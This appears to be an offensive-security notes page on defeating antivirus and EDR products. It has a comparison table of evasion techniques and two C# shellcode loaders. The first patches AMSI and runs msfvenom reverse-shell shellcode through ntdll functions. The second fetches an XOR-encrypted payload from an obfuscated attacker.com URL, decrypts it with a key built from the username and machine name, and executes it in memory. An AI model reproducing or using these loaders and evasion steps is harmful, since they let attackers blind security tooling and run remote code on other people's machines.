Evasion techniques
AV/EDR Evasion Techniques Comparison Table
Technique
How It Works
Detection Risk
When to Use
Why It’s Effective
Direct Syscalls
Bypasses user-mode hooks by calling kernel APIs via Nt*/Zw*
from ntdll.dll.
🔴 Low
When EDRs hook Win32 APIs (e.g., VirtualAlloc, CreateThread).
EDR can’t monitor syscalls without kernel drivers.
API Unhooking
Replaces hooked DLLs in memory with clean copies from disk.
🟠 Medium
Targeting EDRs like CrowdStrike/SentinelOne that heavily hook user-mode APIs.
Restores original API behavior, evading inline hooks.
AMSI Bypass
Patches amsi.dll
in memory (e.g., disabling AmsiScanBuffer
).
🔴 Low
When executing PowerShell/C# in memory.
Kills Microsoft’s script/assembly scanning.
ETW Patching
Disables Event Tracing for Windows (e.g., patching EtwEventWrite
).
🔴 Low
Hiding .NET/PowerShell activity from EDR telemetry.
Stops EDRs from collecting process execution logs.
Process Hollowing
Replaces legitimate process memory (e.g., explorer.exe
) with malicious code.
🟠 Medium
Post-exploitation to blend into trusted processes.
Appears as a signed process, bypassing process-based detections.
Process Injection
Injects shellcode into a living process (e.g., via CreateRemoteThread
).
🟡 High
Quick execution in a semi-trusted process.
Leverages process reputation but leaves memory artifacts.
Reflective DLL Loading
Loads DLLs directly from memory (no disk writes).
🔴 Low
Avoiding LoadLibrary
hooks and file-based scans.
No disk I/O = fewer IoC triggers.
Environmental Keying
Executes only if specific conditions are met (e.g., hostname, domain join).
🔴 Low
Targeted attacks where the victim environment is known.
Reduces accidental sandbox execution.
Sleep Obfuscation
Hides sleep patterns (e.g., via TimerQueue
or indirect syscalls).
🟠 Medium
Evading sandbox timeout checks or EDR timing analysis.
Makes sleep-based detections (e.g., "10m sleep") unreliable.
Polymorphic Code
Changes code structure/strings per compilation.
🔴 Low
Avoiding static signature detection (YARA, hash-based AV).
No fixed patterns to scan for.
Module Stomping
Overwrites benign DLLs (e.g., winhttp.dll
) with malicious code.
🟠 Medium
When EDRs monitor CreateThread
in unexpected memory regions.
Executes from "trusted" memory regions.
Callback Execution
Runs shellcode via OS callbacks (e.g., EnumChildWindows
).
🔴 Low
Avoiding thread creation alerts.
No new threads = stealthier than CreateThread
.
Hardware Breakpoints
Uses CPU debug registers to execute shellcode.
🟢 Very Low
Extreme scenarios where memory scanning is expected.
Rarely monitored by EDRs.
Loaders
Shellcode (Syscalls + AMSI Bypass)
using System;
using System.Runtime.InteropServices;
namespace GhostLoader
{
class Program
{
// Delegates for syscalls (Nt* versions)
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr NtAllocMem(IntPtr handle, ref IntPtr addr, IntPtr zero, ref IntPtr size, uint type, uint prot);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr NtCreateThreadEx(out IntPtr hThread, uint access, IntPtr attr, IntPtr process, IntPtr start, IntPtr param, uint flags, uint stackZero, uint stackSize, IntPtr attrList, IntPtr unknown);
static void Main()
{
// AMSI Bypass (Patch "amsi.dll")
PatchAmsi();
// Shellcode (ej: msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 -f csharp)
byte[] shellcode = new byte[] { 0xfc, 0x48, 0x83, ..., 0xd5 };
// Allocate RWX memory (via NtAllocateVirtualMemory)
IntPtr memAddr = IntPtr.Zero;
IntPtr size = (IntPtr)shellcode.Length;
NtAllocMem alloc = (NtAllocMem)GetSyscall("NtAllocateVirtualMemory");
alloc(IntPtr.Zero, ref memAddr, IntPtr.Zero, ref size, 0x3000, 0x40);
// Copy shellcode
Marshal.Copy(shellcode, 0, memAddr, shellcode.Length);
// Execute (via NtCreateThreadEx)
IntPtr hThread;
NtCreateThreadEx createThread = (NtCreateThreadEx)GetSyscall("NtCreateThreadEx");
createThread(out hThread, 0x1FFFFF, IntPtr.Zero, IntPtr.Zero, memAddr, IntPtr.Zero, 0, 0, 0, IntPtr.Zero, IntPtr.Zero);
// Wait
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
static void PatchAmsi()
{
IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr scanPtr = GetProcAddress(amsi, "AmsiScanBuffer");
Marshal.WriteByte(scanPtr, 0xC3); // RET
}
static Delegate GetSyscall(string name)
{
IntPtr ntdll = LoadLibrary("ntdll.dll");
IntPtr addr = GetProcAddress(ntdll, name);
return Marshal.GetDelegateForFunctionPointer(addr, typeof(NtAllocMem)); // Use appropriate delegate type
}
// P/Invokes
[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string name);
[DllImport("kernel32")]
static extern uint WaitForSingleObject(IntPtr hHandle, uint ms);
}
}
Loads .rev.bin (HTTPS + XOR Decrypt)
using System;
using System.Net;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
namespace ShadowDrop
{
class Program
{
static void Main()
{
// URL cifrada (ej: "https://attacker.com/rev.bin" -> Base64)
string encUrl = "aHR0cHM6Ly9hdHRhY2tlci5jb20vcmV2LmJpbg==";
string url = Encoding.UTF8.GetString(Convert.FromBase64String(encUrl));
// Descarga y descifrado (XOR con clave dinámica)
byte[] key = GetKeyFromEnv();
byte[] encrypted = DownloadPayload(url);
byte[] shellcode = XORDecrypt(encrypted, key);
// Ejecución con CreateThread (no syscalls para variedad)
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
IntPtr thread = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out _);
WaitForSingleObject(thread, 0xFFFFFFFF);
}
static byte[] DownloadPayload(string url)
{
using (WebClient client = new WebClient())
{
client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
return client.DownloadData(url);
}
}
static byte[] XORDecrypt(byte[] data, byte[] key)
{
byte[] decrypted = new byte[data.Length];
for (int i = 0; i < data.Length; i++)
decrypted[i] = (byte)(data[i] ^ key[i % key.Length]);
return decrypted;
}
static byte[] GetKeyFromEnv()
{
string envKey = Environment.UserName + Environment.MachineName;
return SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(envKey));
}
// P/Invokes
[DllImport("kernel32")]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32")]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
}
Last updated